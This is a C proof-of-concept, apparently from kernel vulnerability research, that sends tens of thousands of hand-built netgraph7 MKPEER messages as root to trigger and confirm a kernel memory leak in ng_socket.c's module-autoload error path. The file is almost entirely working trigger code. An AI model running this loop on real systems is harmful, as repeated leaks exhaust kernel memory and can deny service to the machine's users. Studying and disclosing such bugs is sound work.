DF-3511 / trigger.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 | /* * DF-3511 PoC (v2): ng_socket.c ngc_send() MKPEER module-autoload error * path leaks msg + path + mbuf when linker_api_available() == 0. * * v2: the guest's stock userland <netgraph/ng_message.h> describes the OLD * sys/netgraph header layout, which does NOT match the netgraph7 kernel * (ng7: arglen@+4, cmd@+8, flags@+12, token@+16, typecookie@+20, * cmdstr[32]@+24 => 56-byte header). v1 messages were therefore silently * mis-parsed by the kernel (never matched the MKPEER interceptor) and got * echoed back as opaque datagrams. v2 hand-rolls the ng7 layout. * * Phases (one AF_NETGRAPH netgraph7 control socket): * loaded: MKPEER type "socket" -> loader block skipped -> generic * MKPEER -> ngs_constructor -> EINVAL. sendto fails EINVAL, * NO leak. * bogus : MKPEER type "df3511x" -> ngc_send:281 ng_findtype()==NULL -> * if !linker_api_available(): ENXIO + goto done (LEAK msg+path+m) * else linker_load_file("ng_df3511x.ko") -> ENOENT, no leak. * * Discriminator: bogus-phase sendto errno: 6(ENXIO)=LEAK LIVE, * 2(ENOENT)=loader ran (leak dead at runtime). * Must run as root (control socket is SYSCAP_RESTRICTEDROOT-gated). */ #include <sys/param.h> #include <sys/socket.h> #include <sys/types.h> #include <errno.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <stdint.h> #include <unistd.h> #include <netgraph/socket/ng_socket.h> /* AF_NETGRAPH, NG_CONTROL only */ /* ---- netgraph7 kernel message layout (sys/netgraph7/ng_message.h) ---- */ #define NG7_VERSION 8 #define NG7_GENERIC_COOKIE 1137070366u #define NG7_MKPEER 2u #define NG7_TYPESIZ 32 #define NG7_HOOKSIZ 32 #define NG7_CMDSTRSIZ 32 #define NG7_HDRSZ (24 + NG7_CMDSTRSIZ) /* 56 */ #define NG7_NGRESP 0x1u struct ng7_mkpeer { char type[NG7_TYPESIZ]; char ourhook[NG7_HOOKSIZ]; char peerhook[NG7_HOOKSIZ]; }; struct sa_ng_big { struct sockaddr_ng sg; char pad[64]; }; static long errnos[256]; static long ok = 0, fail = 0; static int respshown = 0; static void mkpeer_msg(char *buf, size_t bufsz, const char *type, uint32_t token) { uint32_t *p32; memset(buf, 0, bufsz); buf[0] = NG7_VERSION; /* version */ buf[1] = 0; /* spare */ /* spare2 @+2 = 0 */ p32 = (uint32_t *)(buf + 4); p32[0] = sizeof(struct ng7_mkpeer); /* arglen */ p32[1] = NG7_MKPEER; /* cmd */ p32[2] = 0; /* flags */ p32[3] = token; /* token */ p32[4] = NG7_GENERIC_COOKIE; /* typecookie */ /* cmdstr @+24 zeroed */ { struct ng7_mkpeer *mkp = (struct ng7_mkpeer *)(buf + NG7_HDRSZ); strlcpy(mkp->type, type, sizeof(mkp->type)); strlcpy(mkp->ourhook, "o", sizeof(mkp->ourhook)); strlcpy(mkp->peerhook, "p", sizeof(mkp->peerhook)); } } static void dump_one_response(int cs, const char *tag) { char rb[2048]; struct sockaddr_ng from; socklen_t fromlen; int n; fromlen = sizeof(from); n = recvfrom(cs, rb, sizeof(rb), MSG_DONTWAIT, (struct sockaddr *)&from, &fromlen); if (n <= 0) return; if (n >= NG7_HDRSZ && respshown < 4) { uint32_t *p32 = (uint32_t *)(rb + 4); char data[48]; memset(data, 0, sizeof(data)); if (n > NG7_HDRSZ) memcpy(data, rb + NG7_HDRSZ, (size_t)(n - NG7_HDRSZ) > 46 ? 46 : (size_t)(n - NG7_HDRSZ)); printf("[%s] resp n=%d arglen=%u cmd=%#x flags=%u token=%#x " "cookie=%u data='%.40s'\n", tag, n, p32[0], p32[1], p32[2], p32[3], p32[4], data); respshown++; } } static void phase(int cs, const char *type, int iters) { char buf[NG7_HDRSZ + sizeof(struct ng7_mkpeer)]; int i; memset(errnos, 0, sizeof(errnos)); ok = fail = 0; respshown = 0; for (i = 0; i < iters; i++) { struct sa_ng_big sb; mkpeer_msg(buf, sizeof(buf), type, 0xdf0000 + (i & 0xffff)); memset(&sb, 0, sizeof(sb)); sb.sg.sg_len = 4; sb.sg.sg_family = AF_NETGRAPH; sb.sg.sg_data[0] = '.'; sb.sg.sg_data[1] = '\0'; if (sendto(cs, buf, sizeof(buf), 0, (struct sockaddr *)&sb.sg, 4) < 0) { fail++; if (errno > 0 && errno < 256) errnos[errno]++; } else { ok++; } dump_one_response(cs, type); } printf("[type=%-9s] sendto ok=%ld fail=%ld (%d iters)\n", type, ok, fail, iters); { int j; for (j = 0; j < 256; j++) if (errnos[j]) printf("[type=%-9s] errno %d (%s): %ld\n", type, j, strerror(j), errnos[j]); } fflush(stdout); } int main(int argc, char **argv) { const char *mode = (argc > 1) ? argv[1] : "both"; int iters = (argc > 2) ? atoi(argv[2]) : 50000; int cs; if (geteuid() != 0) { fprintf(stderr, "must run as root (control socket)\n"); return (1); } printf("ng7 header size=%d (kernel struct ng_mesg layout)\n", NG7_HDRSZ); cs = socket(AF_NETGRAPH, SOCK_DGRAM, NG_CONTROL); if (cs < 0) { perror("socket(AF_NETGRAPH, SOCK_DGRAM, NG_CONTROL)"); return (1); } printf("control socket fd=%d\n", cs); if (strcmp(mode, "loaded") == 0 || strcmp(mode, "both") == 0) phase(cs, "socket", iters); /* A: EINVAL, no leak */ if (strcmp(mode, "bogus") == 0 || strcmp(mode, "both") == 0) phase(cs, "df3511x", iters); /* B: ENXIO => leak */ close(cs); return (0); } |